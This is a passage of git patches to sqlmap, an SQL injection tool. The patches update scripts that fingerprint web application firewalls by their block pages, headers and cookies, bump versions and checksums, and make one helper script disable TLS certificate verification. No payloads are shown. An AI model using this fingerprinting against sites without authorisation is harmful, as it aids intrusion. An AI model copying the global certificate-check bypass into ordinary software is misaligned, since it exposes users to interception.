197bae9ee9b7e8d4f77e814a33cfd665 waf/stackpath.py diff --git a/waf/cerber.py b/waf/cerber.py new file mode 100644 index 00000000000..9141b31fda3 --- /dev/null +++ b/waf/cerber.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "WP Cerber Security (Cerber Tech)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = any(_ in (page or "") for _ in ("We're sorry, you are not allowed to proceed", "Your request looks suspicious or similar to automated requests from spam posting software")) + if retval: + break + + return retval diff --git a/waf/incapsula.py b/waf/incapsula.py index 2d52644560b..6ece7005ed8 100644 --- a/waf/incapsula.py +++ b/waf/incapsula.py @@ -21,6 +21,8 @@ def detect(get_page): retval |= re.search(r"Incapsula", headers.get("X-CDN", ""), re.I) is not None retval |= any(_ in (page or "") for _ in ("Incapsula incident ID", "_Incapsula_Resource?", "?subject=WAF Block Page:")) retval |= all(_ in (page or "") for _ in ("Application Firewall Error", "If you feel you have been blocked in error, please contact Customer Support")) + retval |= all(_ in (page or "") for _ in ("Error code 15", "This request was blocked by the security rules")) + retval |= re.search(r"(?i)incident.{1,100}?\b\d{19}\-\d{17}\b", page or "") is not None retval |= headers.get("X-Iinfo") is not None if retval: break diff --git a/waf/sitelock.py b/waf/sitelock.py index d39d07a7143..42cb0e76821 100644 --- a/waf/sitelock.py +++ b/waf/sitelock.py @@ -9,6 +9,7 @@ __product__ = "TrueShield Web Application Firewall (SiteLock)" +# Note: https://www.whitefirdesign.com/blog/2016/11/08/more-evidence-that-sitelocks-trueshield-web-application-firewall-is-really-incapsulas-waf/ def detect(get_page): retval = False From 49514adcd9bb893ebe1b6d1344195f4e58701e12 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 8 Jan 2019 12:58:27 +0100 Subject: [PATCH 025/800] Minor patch --- extra/wafdetectify/wafdetectify.py | 15 +++++++++++++-- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 16 insertions(+), 5 deletions(-) diff --git a/extra/wafdetectify/wafdetectify.py b/extra/wafdetectify/wafdetectify.py index d46f6fd64cc..bf5dc4bdb3b 100644 --- a/extra/wafdetectify/wafdetectify.py +++ b/extra/wafdetectify/wafdetectify.py @@ -11,12 +11,17 @@ import inspect import os import re +import socket +import ssl import subprocess import sys import urllib2 sys.dont_write_bytecode = True +if hasattr(ssl, "_create_unverified_context"): + ssl._create_default_https_context = ssl._create_unverified_context + NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)" TIMEOUT = 10 HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "identity", "Cache-Control": "max-age=0"} @@ -101,14 +106,20 @@ def main(): print colorize("[i] checking '%s'..." % sys.argv[1]) + hostname = sys.argv[1].split("//")[-1].split('/')[0] + try: + socket.getaddrinfo(hostname, None) + except socket.gaierror: + print colorize("[x] host '%s' does not exist" % hostname) + exit(1) + found = False for function, product in WAF_FUNCTIONS: if found and "unknown" in product.lower(): continue if function(get_page): - print colorize("[!] WAF/IPS identified as '%s'" % product) - found = True + exit(colorize("[!] WAF/IPS identified as '%s'" % product)) if not found: print colorize("[o] nothing found") diff --git a/lib/core/settings.py b/lib/core/settings.py index a9483c89286..09c4d8860be 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.24" +VERSION = "1.3.1.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 89f7744c603..7f24a66f7e7 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -21,7 +21,7 @@ e4805169a081b834ca51a60a150c7247 extra/shutils/newlines.py fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py 53d5dcba047f1285e32b9e88d2803ebf extra/sqlharvest/sqlharvest.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py -4d0912a9d16ab8cacd460649ed54d660 extra/wafdetectify/wafdetectify.py +f73623c18b7f6ebb71f10e124b1b93c9 extra/wafdetectify/wafdetectify.py d0f2b424f5b2b06f26cdd7076d61be6e lib/controller/action.py 02190e90bd7be774f800b7eabe589dd9 lib/controller/checks.py 3c18f0b1d1b9fda682201a264f170b31 lib/controller/controller.py @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -a2e11fb9226d7b7348cff412042edd18 lib/core/settings.py +41376018e1ec67c302bb69ded1c2b427 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py From debb64167af66e88864605ff5b39ccc871f63921 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 8 Jan 2019 15:36:28 +0100 Subject: [PATCH 026/800] Minor update of WAF scripts --- lib/core/settings.py | 2 +- txt/checksum.md5 | 8 ++++---- waf/cerber.py | 2 -- waf/expressionengine.py | 6 +++++- waf/stackpath.py | 1 - 5 files changed, 10 insertions(+), 9 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 09c4d8860be..c3d6200d1f2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.25" +VERSION = "1.3.1.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 7f24a66f7e7..4dab4fa92c0 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -41376018e1ec67c302bb69ded1c2b427 lib/core/settings.py +6696b297ceb42a671f3a326d9e63f99a lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -408,7 +408,7 @@ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqlud 742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py ef8c5db49ad9973b59d6b9b65b001714 waf/blockdos.py 2608fbe2c80fae99bb09db1f93d80cdd waf/bluedon.py -51c13712456699f23324f0a410ce6f93 waf/cerber.py +8385218d8a1863dbfd4274db36880dfe waf/cerber.py 5ae64cad95b7f904c350cc81230c3bd1 waf/chinacache.py a05edf8f2962dfff0457b7a4fd5e169c waf/ciscoacexml.py 2565869c73a9a37f25deb317e8f5d9dd waf/cleantalk.py @@ -421,7 +421,7 @@ e49bb75985f60556b4481dc085f3c62b waf/denyall.py dbe50bbcb1b4664d6cebfcca63e75125 waf/distil.py 886c6502a6a2aae49921efed8d439f7b waf/dotdefender.py a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py -3f440d629b31052e675ee9d48d4ce370 waf/expressionengine.py +b65877b412a4c648aa442116ef94e2af waf/expressionengine.py 588d2f9a8f201e120e74e508564cb487 waf/fortiweb.py 0e9eb20967d2dde941cca8c663a63e1f waf/generic.py 4ea580dd1b9679bd733866976ad5d81e waf/godaddy.py @@ -456,7 +456,7 @@ ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py 24f1cc66625e58e4c91c0cb4364a2202 waf/sitelock.py a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py 45683bfe7a428f47745416c727a789bd waf/sophos.py -197bae9ee9b7e8d4f77e814a33cfd665 waf/stackpath.py +4a11ba8e5f3995b35f5fc189b8c2692e waf/stackpath.py a0aa5997d0d5db18920840220dc4ad36 waf/stingray.py 74bd52941b606d15f1a6cdc7b52f761c waf/sucuri.py 205beb7ed5e70119f8700a9e295b6a4a waf/tencent.py diff --git a/waf/cerber.py b/waf/cerber.py index 9141b31fda3..bccb7f05450 100644 --- a/waf/cerber.py +++ b/waf/cerber.py @@ -5,8 +5,6 @@ See the file 'LICENSE' for copying permission """ -import re - from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "WP Cerber Security (Cerber Tech)" diff --git a/waf/expressionengine.py b/waf/expressionengine.py index 8d8d0fc6c8b..85befdc8422 100644 --- a/waf/expressionengine.py +++ b/waf/expressionengine.py @@ -5,6 +5,9 @@ See the file 'LICENSE' for copying permission """ +import re + +from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "ExpressionEngine (EllisLab)" @@ -13,8 +16,9 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) + page, headers, _ = get_page(get=vector) retval = any((page or "").strip() == _ for _ in ("Invalid GET Data", "Invalid URI")) + retval |= re.search(r"\Aexp_last_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None if retval: break diff --git a/waf/stackpath.py b/waf/stackpath.py index 20c1a630e63..2e12b9c2a05 100644 --- a/waf/stackpath.py +++ b/waf/stackpath.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "StackPath Web Application Firewall (StackPath LLC)" From 256ec755808a04a91dec865685da86fcfbd234f5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Jan 2019 15:12:16 +0100 Subject: [PATCH 027/800] Trivial update of banner --- lib/core/settings.py | 4 ++-- txt/checksum.md5 | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c3d6200d1f2..6e6f49ce067 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.26" +VERSION = "1.3.1.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -39,7 +39,7 @@ ___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| - |_|V |_| \033[0m\033[4;37m%s\033[0m\n + |_|V... |_| \033[0m\033[4;37m%s\033[0m\n """ % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 4dab4fa92c0..36a437b0d65 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -6696b297ceb42a671f3a326d9e63f99a lib/core/settings.py +84d85e640164d17ee42889a68413344c lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py From 9a221470e7a4de16a72ece35b0091a13c93ed163 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Jan 2019 15:44:11 +0100 Subject: [PATCH 028/800] Minor patch --- lib/controller/checks.py | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 334cc7511d8..df951b10635 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1588,7 +1588,7 @@ def checkConnection(suppressOutput=False): conf.url = re.sub(r"https?://", "https://", conf.url) match = re.search(r":(\d+)", threadData.lastRedirectURL[1]) port = match.group(1) if match else 443 - conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url) + conf.url = re.sub(r":\d+(/|\Z)", ":%s\g<1>" % port, conf.url) except SqlmapConnectionException, ex: if conf.ipv6: diff --git a/lib/core/settings.py b/lib/core/settings.py index 6e6f49ce067..c8bf60b3f88 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.27" +VERSION = "1.3.1.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 36a437b0d65..9f69be0969b 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -23,7 +23,7 @@ fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py f73623c18b7f6ebb71f10e124b1b93c9 extra/wafdetectify/wafdetectify.py d0f2b424f5b2b06f26cdd7076d61be6e lib/controller/action.py -02190e90bd7be774f800b7eabe589dd9 lib/controller/checks.py +4b20581ddd8d026b8cad8a4b3e3aaad6 lib/controller/checks.py 3c18f0b1d1b9fda682201a264f170b31 lib/controller/controller.py e97a9d34fef5761a8eab6432ce3c7c53 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -84d85e640164d17ee42889a68413344c lib/core/settings.py +19d561e7ba93f697cc8ec095051fed5a lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py From 5274c88c7dee0febceb0ce798ae8329bf238b43c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Jan 2019 16:26:11 +0100 Subject: [PATCH 029/800] Minor patch of --identify-waf mechanism --- lib/controller/checks.py | 1 + lib/core/settings.py | 2 +- lib/request/connect.py | 3 ++- txt/checksum.md5 | 6 +++--- 4 files changed, 7 insertions(+), 5 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index df951b10635..aedb46e3218 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1423,6 +1423,7 @@ def _(*args, **kwargs): kwargs["get"] = urlencode(kwargs["get"]) kwargs["raise404"] = False kwargs["silent"] = True + kwargs["finalCode"] = True page, headers, code = Request.getPage(*args, **kwargs) except Exception: pass diff --git a/lib/core/settings.py b/lib/core/settings.py index c8bf60b3f88..c3da3428f22 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.28" +VERSION = "1.3.1.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index bc4f6714599..e336941fa41 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -270,6 +270,7 @@ def getPage(**kwargs): crawling = kwargs.get("crawling", False) checking = kwargs.get("checking", False) skipRead = kwargs.get("skipRead", False) + finalCode = kwargs.get("finalCode", False) if multipart: post = multipart @@ -496,7 +497,7 @@ class _(dict): if hasattr(conn, "redurl"): page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None skipLogTraffic = kb.redirectChoice == REDIRECTION.NO - code = conn.redcode + code = conn.redcode if not finalCode else code else: page = Connect._connReadProxy(conn) if not skipRead else None diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 9f69be0969b..c393cd48ae1 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -23,7 +23,7 @@ fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py f73623c18b7f6ebb71f10e124b1b93c9 extra/wafdetectify/wafdetectify.py d0f2b424f5b2b06f26cdd7076d61be6e lib/controller/action.py -4b20581ddd8d026b8cad8a4b3e3aaad6 lib/controller/checks.py +eaccf6204d8c44cee9daba955af0c85e lib/controller/checks.py 3c18f0b1d1b9fda682201a264f170b31 lib/controller/controller.py e97a9d34fef5761a8eab6432ce3c7c53 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -19d561e7ba93f697cc8ec095051fed5a lib/core/settings.py +16e7294b01b6e705cb5c209cc17f1563 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -71,7 +71,7 @@ fb6be55d21a70765e35549af2484f762 lib/parse/__init__.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py 6076c01e84b589adb97cac421a7d5251 lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -3b76bfadb74c069b17d73d2aba241005 lib/request/connect.py +8e7f52dd4ef26f90310fc1082e17f4f8 lib/request/connect.py 7cba86090b02558f04c6692cef66e772 lib/request/direct.py 0a5cc34a7bbe709684ce32b4b46afd32 lib/request/dns.py 7bab2719ef2a6f1ddd838fa2335ae635 lib/request/httpshandler.py From 880545cad44536d1bb2c96997e0b22cf9e7503d7 Mon Sep 17 00:00:00 2001 From: Nicolas Bonnet Date: Thu, 10 Jan 2019 11:28:10 +0100 Subject: [PATCH 030/800] Fix incompatible errMsg for tor and osPwn args (#3432) --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 56ce2ce98bb..8324de5ab02 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2306,7 +2306,7 @@ def _basicOptionValidation(): errMsg = "option '--not-string' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) - if conf.notString and conf.nullConnection: + if conf.tor and conf.osPwn: errMsg = "option '--tor' is incompatible with switch '--os-pwn'" raise SqlmapSyntaxException(errMsg) From beee81697c273c4007373d9aefe2cd085f4b8d65 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jan 2019 11:31:09 +0100 Subject: [PATCH 031/800] Removing some junk --- lib/core/settings.py | 2 +- txt/checksum.md5 | 6 +++--- waf/cloudfront.py | 3 +-- 3 files changed, 5 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c3da3428f22..1dc0e3ef6b7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.29" +VERSION = "1.3.1.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index c393cd48ae1..45529607815 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -42,14 +42,14 @@ b7c912e2af7a3354f6d7c04f556a80b2 lib/core/decorators.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -95b2bc1fd01393771fc0cd239b2fe05a lib/core/option.py +8867c1cb5a045cea99d8a9a7ceea6abf lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 0f1d79ada721cf6def611b21b03d68af lib/core/profiling.py 5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -16e7294b01b6e705cb5c209cc17f1563 lib/core/settings.py +5c94f9b2587f21f2229248a832803f4a lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -414,7 +414,7 @@ a05edf8f2962dfff0457b7a4fd5e169c waf/ciscoacexml.py 2565869c73a9a37f25deb317e8f5d9dd waf/cleantalk.py af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py 8fec83056c8728076ab17ab3a2ebbe7b waf/cloudflare.py -8414f766b0171fbc264c46ad40dff237 waf/cloudfront.py +b2331b1b17cf0fad5ac0d991d1efdfa0 waf/cloudfront.py 847ee97f6e0f8aeec61afd3e0c91543b waf/comodo.py 4ed76fdf2add2405bb6157ac025e01b9 waf/crawlprotect.py e49bb75985f60556b4481dc085f3c62b waf/denyall.py diff --git a/waf/cloudfront.py b/waf/cloudfront.py index 46474c48959..c02163eed96 100644 --- a/waf/cloudfront.py +++ b/waf/cloudfront.py @@ -17,8 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"Error from cloudfront", headers.get("X-Cache", ""), re.I) is not None - retval |= all(_ in (page or "") for _ in ("Generated by cloudfront", "Request blocked")) + retval = all(_ in (page or "") for _ in ("Generated by cloudfront", "Request blocked")) if retval: break From 915ee5ce53e135322b9d6106c112ece97a3619f1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jan 2019 13:06:35 +0100 Subject: [PATCH 032/800] Trivial file renaming --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/{onmessage.py => onmessageshield.py} | 0 3 files changed, 3 insertions(+), 3 deletions(-) rename waf/{onmessage.py => onmessageshield.py} (100%) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1dc0e3ef6b7..7c609aada4d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.30" +VERSION = "1.3.1.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 45529607815..c3ee2b00aac 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -5c94f9b2587f21f2229248a832803f4a lib/core/settings.py +897466b2b34e13e9013d6ad0e15f1c09 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -440,7 +440,7 @@ d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py 84e9c68b6ecffafb5ec8cd96acaf62b9 waf/newdefend.py d03dfe93a14c966b88f5baf59ce2b091 waf/ninjafirewall.py 69fc40e85751279e9018d643742db04e waf/nsfocus.py -a59aff03a5b3fb40ea0feb3489677040 waf/onmessage.py +a59aff03a5b3fb40ea0feb3489677040 waf/onmessageshield.py 532b6f8de357a9b88a313944e1756538 waf/paloalto.py 2979bb64c24256a83625d75a385dde9b waf/profense.py 8de0d46738335a4e498c4ac9038ac3c3 waf/proventia.py diff --git a/waf/onmessage.py b/waf/onmessageshield.py similarity index 100% rename from waf/onmessage.py rename to waf/onmessageshield.py From 241c6b02f08386de649614594b64a8ace139c37c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jan 2019 13:23:34 +0100 Subject: [PATCH 033/800] Update of distil WAF script --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/distil.py | 3 ++- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7c609aada4d..a8b09b84a62 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.31" +VERSION = "1.3.1.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index c3ee2b00aac..83f6073c6a3 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -897466b2b34e13e9013d6ad0e15f1c09 lib/core/settings.py +00af73cfc49989f912a14303f0555eb2 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -418,7 +418,7 @@ b2331b1b17cf0fad5ac0d991d1efdfa0 waf/cloudfront.py 847ee97f6e0f8aeec61afd3e0c91543b waf/comodo.py 4ed76fdf2add2405bb6157ac025e01b9 waf/crawlprotect.py e49bb75985f60556b4481dc085f3c62b waf/denyall.py -dbe50bbcb1b4664d6cebfcca63e75125 waf/distil.py +4254527ec80588f5289f56c7b52c4b30 waf/distil.py 886c6502a6a2aae49921efed8d439f7b waf/dotdefender.py a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py b65877b412a4c648aa442116ef94e2af waf/expressionengine.py diff --git a/waf/distil.py b/waf/distil.py index 4747e17291e..e82093864e2 100644 --- a/waf/distil.py +++ b/waf/distil.py @@ -13,8 +13,9 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) + page, headers, _ = get_page(get=vector) retval = headers.get("x-distil-cs") is not None + retval |= any(_ in (page or "") for _ in ("distilCaptchaForm", "distilCallbackGuard", "cdn.distilnetworks.com/images/anomaly-detected.png")) if retval: break From aa7af33fd54f4bcebf9eedecaa27e7a6f31086db Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jan 2019 13:40:51 +0100 Subject: [PATCH 034/800] Update of airlock WAF script --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/airlock.py | 3 ++- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a8b09b84a62..d84839bf6c0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from 